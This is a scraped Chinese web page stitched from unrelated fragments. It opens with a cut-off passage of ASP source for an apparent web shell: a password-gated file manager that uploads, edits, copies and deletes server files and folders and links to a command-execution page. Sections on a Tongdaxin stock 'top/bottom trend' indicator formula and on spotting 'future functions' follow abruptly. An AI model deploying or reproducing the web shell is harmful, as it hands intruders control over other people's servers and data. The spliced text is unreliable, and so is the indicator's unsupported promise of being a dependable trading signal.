＜input class="tx1" type="button" value="建目" onclick="crdir(form1.filename.value)"＞
＜input type="file" name="file1" class="tx1" style="width:100" value=""＞
＜input type="text" name="filepath" class="tx1" style="width:100" value="＜%=cpath%＞"＞
＜input type="hidden" name="act" value="upload"＞
＜input type="hidden" name="upcount" class="tx" value="1"＞
＜input class="tx1" type="submit" value="上传"＞
＜input class="tx1" type="button" onclick="window.open('＜%=rseb%＞?q=cmd.asp','_blank')" value="命令"＞
＜input class="tx1" type="button" onclick="window.open('＜%=rseb%＞?q=test.asp','_blank')" value="配置"＞
＜input class="tx1" type="button" onclick="window.open('＜%=rseb%＞?q=p.asp','_blank')" value="nfso"＞
＜/td＞
＜/td＞
＜/tr＞＜/form＞
＜tr＞
＜td width="169" valign="top" bgcolor="#C8E3FF"＞＜%Call GetFolder()%＞
＜/td＞
＜td width="582" valign="top" bgcolor="#FFefdf"＞＜%Call GetFile()%＞
＜/td＞
＜/tr＞
＜/table＞
＜%else
response.write "Password Error!"
response.write "＜a href='" & rseb & "?q=" & rseb & "'＞【返 回】＜/a＞"
end if
%＞
＜/body＞
＜/html＞
＜%case "edit.asp"%＞
＜html＞

＜head＞
＜meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80"＞
＜title＞编辑源代码＜/title＞
＜style＞
＜!--
table{ font-family: 宋体; font-size: 12pt }
a{ font-family: 宋体; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: underline }
a:visited{ color: rgb(128,0,0) }
--＞
＜/style＞
＜/head＞

＜body＞
＜% '读文件
if Request.Cookies("password")="7758521" then
if request("op")="del" then
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set thisfile = oFileSys.GetFile(whichfile)
thisfile.Delete True
Response.write "＜script＞alert('删除成功！要刷新才能看到效果');window.close();＜/script＞"
else
if request("op")="" then
if Request("attrib")="true" then
whichfile=Request("path")
dsfile=Request("dpath")
else
whichfile=server.mappath(Request("path"))
dsfile=Server.MapPath(Request("dpath"))
end if
Set thisfile = oFileSys.GetFile(whichfile)
thisfile. dsfile
%＞
＜script language=vbscript＞
msgbox "源文件：＜%=whichfile%＞" & vbcrlf & "目的文件:＜%=dsfile%＞" & vbcrlf & "复制成功！要刷新才能看到效果!"
window.close()
＜/script＞
＜%
else
if request.form("text")="" then
if Request("creat")＜＞"yes" then
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set thisfile = oFileSys.OpenTextFile(whichfile, 1, False)
counter=0
thisline=thisfile.readall
thisfile.Close
set fs=nothing
end if
%＞

＜form method="POST" action="＜%=rseb%＞?q=edit.asp"＞
＜input type="hidden" name="attrib" value="＜%=Request("attrib")%＞"＞＜table border="0"
width="700" cellpadding="0"＞
＜tr＞
＜td width="100%" bgcolor="#FFDBCA"＞＜div align="center"＞＜center＞＜p＞＜%=httpt%＞＜/td＞
＜/tr＞
＜tr align="center"＞
＜td width="100%" bgcolor="#FFDBCA"＞文件名：＜input type="text" name="path" size="45"
value="＜%=Request("path")%＞ "＞直接更改文件名，相当于“另存为”＜/td＞
＜/tr＞
＜tr align="center"＞
＜td width="100%" bgcolor="#FFDBCA"＞＜textarea rows="25" name="text" cols="90"＞＜%=thisline%＞＜/textarea＞＜/td＞
＜/tr＞
＜tr align="center"＞
＜td width="100%" bgcolor="#FFDBCA"＞＜div align="center"＞＜center＞＜p＞＜input type="submit"
value="提交" name="B1"＞＜input type="reset" value="复原" name="B2"＞＜/td＞
＜/tr＞
＜/table＞
＜/form＞
＜%else
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set outfile=oFileSys.CreateTextFile(whichfile)
outfile.WriteLine Request("text")
outfile.close
set fs=nothing
Response.write "＜script＞alert('修改成功！要刷新才能看到效果');window.close();＜/script＞"
end if
end if
end if
else
response.write "Password Error!"
response.write "＜a href='" & rseb & "?q=" & rseb & "'＞【返 回】＜/a＞"
end if

%＞
＜/body＞
＜/html＞
＜%case "edir.asp"%＞
＜html＞

＜head＞
＜meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80"＞
＜title＞目录操作＜/title＞
＜style＞
＜!--
table{ font-family: 宋体; font-size: 12pt }
a{ font-family: 宋体; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: underline }
a:visited{ color: rgb(128,0,0) }
--＞
＜/style＞
＜/head＞

＜body＞
＜% '读文件
if Request.Cookies("password")="7758521" then

if request("op")="del" then

if Request("attrib")="true" then
whichdir=Request("path")
else
whichdir=server.mappath(Request("path"))
end if
oFileSys.DeleteFolder whichdir,True
Response.write "＜script＞alert('删除的目录为:" & whichdir & "删除成功！要刷新才能看到效果');window.close();＜/script＞"

else

if request("op")="creat" then
if Request("attrib")="true" then
whichdir=Request("path")
else
whichdir=server.mappath(Request("path"))
end if
oFileSys.CreateFolder whichdir
Response.write "＜script＞alert('建立的目录为:" & whichdir & "建立成功！要刷新才能看到效果');window.close();＜/script＞"
end if
end if
else
response.write "Password Error!"
response.write "＜a href='" & rseb & "?q=" & rseb & "'＞【返 回】＜/a＞"
end if
%＞
＜/body＞
＜/html＞
＜%
case "upfile.asp"
if Request.Cookies("password")="7758521" then
set upload=new upload_5xSoft
if upload.form("filepath")="" then
HtmEnd "请输入要上传至的目录!"
set upload=nothing
response.end
else
formPath=upload.form("filepath")
if right(formPath,1)＜＞"/" then formPath=formPath&"/"
end if

iCount=0
for each formName in upload.objForm
set file=upload.file(formName)
if file.FileSize＞

❺ 求通达信顶底趋势指标源码

顶底趋势指标(通达信)
此指标是我精心收藏的指标，无未来函数，真正的好指标。图片演示在下面网址里.

趋势:SMA(((CLOSE-LLV(LOW,28))/(HHV(HIGH,28)-LLV(LOW,28))*100),3,1) ,COLORGREEN;
STICKLINE(趋势>50,趋势,50,4,0),COLOR32329B;
STICKLINE(50>趋势,趋势,50,4,0),COLOR326400;
IF(趋势>50, 趋势,DRAWNULL), COLORRED;
RSV:=(CLOSE-LLV(CLOSE,9))/(HHV(CLOSE,9)-LLV(CLOSE,9))*100;
K:=SMA(RSV,3,1);
D:=SMA(K,3,1);
TYP:=(HIGH+LOW+CLOSE)/3;
CCI:=(TYP-MA(TYP,14))/(0.015*AVEDEV(TYP,14));
DIFF:=EMA(CLOSE,2)-EMA(CLOSE,55);
DEA:=EMA(DIFF,6);
MACD:=2*(DIFF-DEA);
转点:=IF(K>D AND CCI>0 AND DIFF>DEA AND MACD>0,1,0);
STICKLINE(转点=1,50,50,6,0),COLORYELLOW;
STICKLINE(转点=0,50,50,6,0),COLORCYAN;
顶部:90,COLORYELLOW;
底部:10,COLORCYAN;
判断:SMA(趋势,3,1),COLORFF00FF, LINETHICK2;
IF( 趋势>判断,判断,DRAWNULL), COLORYELLOW, LINETHICK2;
IF( 趋势<判断,判断,DRAWNULL) ,COLORFFF000,LINETHICK2;
DRAWICON(CROSS(趋势,判断),判断,1);
DRAWICON(CROSS(趋势,顶部),顶部,2);
LC:= REF(CLOSE,1);
RSI:=SMA(MAX(CLOSE-LC,0),6,1)/SMA(ABS(CLOSE-LC),6,1)*100;
VAR1:=(HHV(HIGH,9)-CLOSE)/(HHV(HIGH,9)-LLV(LOW,9))*100-70;
VAR2:=SMA(VAR1,9,1)+100;
VAR3:=(CLOSE-LLV(LOW,9))/(HHV(HIGH,9)-LLV(LOW,9))*100;
VAR4:=SMA(VAR3,3,1);
VAR5:=SMA(VAR4,3,1)+100;
VAR6:=VAR5-VAR2;
短线1: IF(VAR6>45,VAR6-45,0),COLORA6B8C1;
VAR2Q:=REF(LOW,1);
VAR3Q:=SMA(ABS(LOW-VAR2Q),3,1)/SMA(MAX(LOW-VAR2Q,0),3,1)*100;
VAR4Q:=EMA(IF(CLOSE*1.3,VAR3Q*10,VAR3Q/10),3);
VAR5Q:=LLV(LOW,30);
VAR6Q:=HHV(VAR4Q,30);
VAR7Q:=IF(MA(CLOSE,58),1,0);
VAR8Q:=EMA(IF(LOW<=VAR5Q,(VAR4Q+VAR6Q*2)/2,0),3)/999*VAR7Q;
VR2:=REF(LOW,1);
VR3:=SMA(ABS(LOW-VR2),3,1)/SMA(MAX(LOW-VR2,0),3,1)*100;
VR4:=EMA(IF(CLOSE*1.3,VR3*10,VR3/10),3);
VR5:=LLV(LOW,30);
VR6:=HHV(VR4,30);
VR7:=IF(MA(CLOSE,58),1,0);
VR8:=EMA(IF(LOW<=VR5,(VR4+VR6*2)/2,0),3)/618*VR7;
VR9:=IF(VR8>100,100,VR8);
主力进场:STICKLINE(VR9>-150,0,VR9,3,0), , COLORFF00FF;
洗盘:IF(VR9<REF(VR9,1),VR9,0),COLORGREEN,NODRAW;
STICKLINE(VR9<REF(VR9,1),0,VR9,3,0),COLORGREEN;
短线获利:STICKLINE(REF("KDJ.J",1)<0 AND "KDJ.J">0,60,25,2,0),COLORYELLOW;
VARK1:=(CLOSE-LLV(LOW,27))/(HHV(HIGH,27)-LLV(LOW,27))*100;
VARK2:=REVERSE(VARK1);
VARK3:=SMA(VARK1,3,1);

逃顶:=CROSS(82,RSI);
STICKLINE( 逃顶,逃顶,20,5,0),COLORFF5500;
STICKLINE( 逃顶,逃顶,30,3,0),COLORFF8800;
STICKLINE( 逃顶,逃顶,30,2,0),COLORFFAA00;
STICKLINE( 逃顶,逃顶,30,1,0),COLORFFCC00;
D1:=(C+L+H)/3;
D2:=EMA(D1,6);
D3:=EMA(D2,5);
BBUY:=CROSS(D2,D3);
风险区:80,COLORFF85FF;
安全区:20,COLORYELLOW,POINTDOT;
天线:100,COLORFFFF00;
强弱线:50,COLORGREEN,POINTDOT;
DRAWICON(BBUY,(LOW *1),1);
VARR1:=SMA(MAX(CLOSE-REF(C,1),0),6,1)/SMA(ABS(CLOSE-REF(C,1)),6,1)*100;
DRAWICON(CROSS(82,VARR1),HIGH,15);
DRAWTEXT(CROSS(82,VARR1),35,'逃'),COLORYELLOW;
MAV:=(2*C+H+L)/4;
VAR9:=LLV(LOW,34);
VAR7:=HHV(HIGH,34);
SK:= EMA((MAV-VAR9)/(VAR7-VAR9)*100,13);
SD: EMA(0.667*REF(SK,1)+0.333*SK,2);
高抛:80, POINTDOT;
低吸:20, POINTDOT;
强弱分界:50, POINTDOT;
DRAWTEXT(CROSS(SD,16),低吸,'●主力'),COLORF0FF00,LINETHICK3;

❻ 这个源码公式有“未来函数”吗

你可以自己来查证是否有未来函数。方法是先将公式文本文件用windows的记事本或者WORD打开，然后将以下的函数名称，逐个查找，如果都查找不到，就可以肯定没有用未来函数。
未来函数 ZIG PEAK PEAKBARS TROUGH TROUGHBARS FLATZIG
FLATZIGA PEAKA PEAKBARSA TROUGHA ZIGA
准未来函数 FFT BACKSET WINNER LWINNER
以上解释，相信你自己也能够做到的。自己动手，丰衣足食。